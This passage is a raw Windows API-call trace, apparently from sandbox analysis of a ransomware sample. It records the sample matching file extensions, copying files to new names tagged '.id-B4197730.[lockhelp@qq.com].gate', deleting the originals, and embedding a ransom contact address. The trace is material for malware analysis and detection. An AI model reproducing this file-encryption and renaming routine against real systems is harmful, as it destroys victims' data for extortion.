[0114.179] lstrlenW (lpString=".rar") returned 4 [0114.179] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString=".bz2") returned 4 [0114.179] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString=".7z") returned 3 [0114.179] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.179] lstrlenW (lpString=".dbf") returned 4 [0114.179] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.179] lstrlenW (lpString=".1cd") returned 4 [0114.179] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.179] lstrlenW (lpString=".jpg") returned 4 [0114.179] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.179] lstrlenW (lpString=".doc") returned 4 [0114.179] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString=".docx") returned 5 [0114.179] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0114.179] lstrlenW (lpString=".pdf") returned 4 [0114.179] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString=".xls") returned 4 [0114.179] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.179] lstrlenW (lpString=".xlsx") returned 5 [0114.179] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0114.180] lstrlenW (lpString=".ppt") returned 4 [0114.180] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.180] lstrlenW (lpString=".zip") returned 4 [0114.180] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.180] lstrlenW (lpString=".rar") returned 4 [0114.180] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.180] lstrlenW (lpString=".bz2") returned 4 [0114.180] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.180] lstrlenW (lpString=".7z") returned 3 [0114.180] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.180] lstrlenW (lpString=".dbf") returned 4 [0114.180] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.180] lstrlenW (lpString=".1cd") returned 4 [0114.180] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi") returned 66 [0114.180] lstrlenW (lpString=".jpg") returned 4 [0114.180] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.180] lstrcmpiW (lpString1=".avi", lpString2=".gate") returned -1 [0114.180] lstrlenW (lpString="FlickAnimation.avi") returned 18 [0114.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0114.421] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=1600388) returned 1 [0114.421] CloseHandle (hObject=0x358) returned 1 [0114.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi")) returned 0x20 [0114.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.421] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0114.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.421] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.421] lstrlenW (lpString=".doc") returned 4 [0114.421] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.421] lstrlenW (lpString=".docx") returned 5 [0114.421] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0114.421] lstrlenW (lpString=".pdf") returned 4 [0114.421] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString=".xls") returned 4 [0114.422] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString=".xlsx") returned 5 [0114.422] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0114.422] lstrlenW (lpString=".ppt") returned 4 [0114.422] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.422] lstrlenW (lpString=".zip") returned 4 [0114.422] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString=".rar") returned 4 [0114.422] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString=".bz2") returned 4 [0114.422] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString=".7z") returned 3 [0114.422] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.422] lstrlenW (lpString=".dbf") returned 4 [0114.422] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.422] lstrlenW (lpString=".1cd") returned 4 [0114.422] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.422] lstrlenW (lpString=".jpg") returned 4 [0114.422] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.422] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.423] lstrlenW (lpString=".doc") returned 4 [0114.423] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString=".docx") returned 5 [0114.423] lstrcmpiW (lpString1=".docx", lpString2="n.avi") returned -1 [0114.423] lstrlenW (lpString=".pdf") returned 4 [0114.423] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString=".xls") returned 4 [0114.423] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString=".xlsx") returned 5 [0114.423] lstrcmpiW (lpString1=".xlsx", lpString2="n.avi") returned -1 [0114.423] lstrlenW (lpString=".ppt") returned 4 [0114.423] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.423] lstrlenW (lpString=".zip") returned 4 [0114.423] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString=".rar") returned 4 [0114.423] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString=".bz2") returned 4 [0114.423] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString=".7z") returned 3 [0114.423] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.423] lstrlenW (lpString=".dbf") returned 4 [0114.423] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.423] lstrlenW (lpString=".1cd") returned 4 [0114.423] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0114.423] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi") returned 69 [0114.423] lstrlenW (lpString=".jpg") returned 4 [0114.423] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0114.424] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.424] lstrlenW (lpString="insert.xml") returned 10 [0114.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0114.723] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=215) returned 1 [0114.731] CloseHandle (hObject=0x314) returned 1 [0114.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0114.731] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.731] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.731] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.731] lstrlenW (lpString=".doc") returned 4 [0114.731] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString=".docx") returned 5 [0114.732] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.732] lstrlenW (lpString=".pdf") returned 4 [0114.732] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString=".xls") returned 4 [0114.732] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString=".xlsx") returned 5 [0114.732] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.732] lstrlenW (lpString=".ppt") returned 4 [0114.732] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.732] lstrlenW (lpString=".zip") returned 4 [0114.732] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.732] lstrlenW (lpString=".rar") returned 4 [0114.732] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString=".bz2") returned 4 [0114.732] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString=".7z") returned 3 [0114.732] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.732] lstrlenW (lpString=".dbf") returned 4 [0114.732] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.732] lstrlenW (lpString=".1cd") returned 4 [0114.732] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.732] lstrlenW (lpString=".jpg") returned 4 [0114.732] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.732] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.733] lstrlenW (lpString=".doc") returned 4 [0114.733] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.733] lstrlenW (lpString=".docx") returned 5 [0114.733] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0114.733] lstrlenW (lpString=".pdf") returned 4 [0114.733] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.733] lstrlenW (lpString=".xls") returned 4 [0114.733] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.733] lstrlenW (lpString=".xlsx") returned 5 [0114.733] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0114.733] lstrlenW (lpString=".ppt") returned 4 [0114.733] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.733] lstrlenW (lpString=".zip") returned 4 [0114.733] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.733] lstrlenW (lpString=".rar") returned 4 [0114.733] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.733] lstrlenW (lpString=".bz2") returned 4 [0114.733] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.733] lstrlenW (lpString=".7z") returned 3 [0114.733] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.733] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.733] lstrlenW (lpString=".dbf") returned 4 [0114.734] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0114.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.734] lstrlenW (lpString=".1cd") returned 4 [0114.734] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0114.734] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml") returned 75 [0114.734] lstrlenW (lpString=".jpg") returned 4 [0114.734] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0114.734] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0114.734] lstrlenW (lpString="base_altgr.xml") returned 14 [0114.734] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0114.860] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3524) returned 1 [0114.860] CloseHandle (hObject=0x30c) returned 1 [0114.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml")) returned 0x20 [0114.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0114.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0114.860] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0114.861] lstrlenW (lpString=".doc") returned 4 [0114.861] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0114.861] lstrlenW (lpString=".docx") returned 5 [0114.861] lstrcmpiW (lpString1=".docx", lpString2="r.xml") returned -1 [0114.861] lstrlenW (lpString=".pdf") returned 4 [0114.861] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0114.861] lstrlenW (lpString=".xls") returned 4 [0114.861] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0114.861] lstrlenW (lpString=".xlsx") returned 5 [0114.861] lstrcmpiW (lpString1=".xlsx", lpString2="r.xml") returned -1 [0114.861] lstrlenW (lpString=".ppt") returned 4 [0114.861] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0114.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0114.861] lstrlenW (lpString=".zip") returned 4 [0114.861] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0114.861] lstrlenW (lpString=".rar") returned 4 [0114.861] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0114.861] lstrlenW (lpString=".bz2") returned 4 [0114.861] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0114.861] lstrlenW (lpString=".7z") returned 3 [0114.861] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0114.861] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml") returned 84 [0114.861] lstrlenW (lpString=".dbf") returned 4 [0114.861] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0116.000] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.000] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.000] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.003] GetLastError () returned 0x0 [0116.003] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x374c, lpOverlapped=0x0) returned 1 [0116.055] WriteFile (in: hFile=0x308, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x3750, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x3750, lpOverlapped=0x0) returned 1 [0116.056] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.056] WriteFile (in: hFile=0x308, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xea, lpOverlapped=0x0) returned 1 [0116.056] SetEndOfFile (hFile=0x308) returned 1 [0116.056] CloseHandle (hObject=0x308) returned 1 [0116.059] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.059] SetEndOfFile (hFile=0x358) returned 1 [0116.060] CloseHandle (hObject=0x358) returned 1 [0116.061] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0116.061] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip")) returned 1 [0116.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0116.062] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0116.062] lstrlenW (lpString=".doc") returned 4 [0116.062] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0116.062] lstrlenW (lpString=".docx") returned 5 [0116.062] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0116.062] lstrlenW (lpString=".pdf") returned 4 [0116.062] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0116.063] lstrlenW (lpString=".xls") returned 4 [0116.063] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0116.063] lstrlenW (lpString=".xlsx") returned 5 [0116.063] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0116.063] lstrlenW (lpString=".ppt") returned 4 [0116.063] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0116.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0116.063] lstrlenW (lpString=".zip") returned 4 [0116.063] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0116.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0116.063] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0116.063] lstrlenW (lpString=".doc") returned 4 [0116.063] lstrcmpiW (lpString1=".doc", lpString2=".zip") returned -1 [0116.063] lstrlenW (lpString=".docx") returned 5 [0116.063] lstrcmpiW (lpString1=".docx", lpString2="t.zip") returned -1 [0116.063] lstrlenW (lpString=".pdf") returned 4 [0116.063] lstrcmpiW (lpString1=".pdf", lpString2=".zip") returned -1 [0116.063] lstrlenW (lpString=".xls") returned 4 [0116.063] lstrcmpiW (lpString1=".xls", lpString2=".zip") returned -1 [0116.063] lstrlenW (lpString=".xlsx") returned 5 [0116.063] lstrcmpiW (lpString1=".xlsx", lpString2="t.zip") returned -1 [0116.063] lstrlenW (lpString=".ppt") returned 4 [0116.063] lstrcmpiW (lpString1=".ppt", lpString2=".zip") returned -1 [0116.064] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\ffjcext.zip") returned 57 [0116.064] lstrlenW (lpString=".zip") returned 4 [0116.064] lstrcmpiW (lpString1=".zip", lpString2=".zip") returned 0 [0116.064] lstrcmpiW (lpString1=".gif", lpString2=".gate") returned 1 [0116.064] lstrlenW (lpString="splash_11@2x-lic.gif") returned 20 [0116.064] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.065] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=12250) returned 1 [0116.065] CloseHandle (hObject=0x358) returned 1 [0116.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif")) returned 0x20 [0116.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0116.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0116.065] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.065] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0116.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\splash_11@2x-lic.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0116.066] GetLastError () returned 0x0 [0116.066] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x2fda, lpOverlapped=0x0) returned 1 [0116.125] WriteFile (in: hFile=0x308, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0x2fe0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0x2fe0, lpOverlapped=0x0) returned 1 [0116.126] ReadFile (in: hFile=0x358, lpBuffer=0x402b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0116.126] WriteFile (in: hFile=0x308, lpBuffer=0x402b020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x402b020*, lpNumberOfBytesWritten=0x362fc94*=0xfc, lpOverlapped=0x0) returned 1 [0116.126] SetEndOfFile 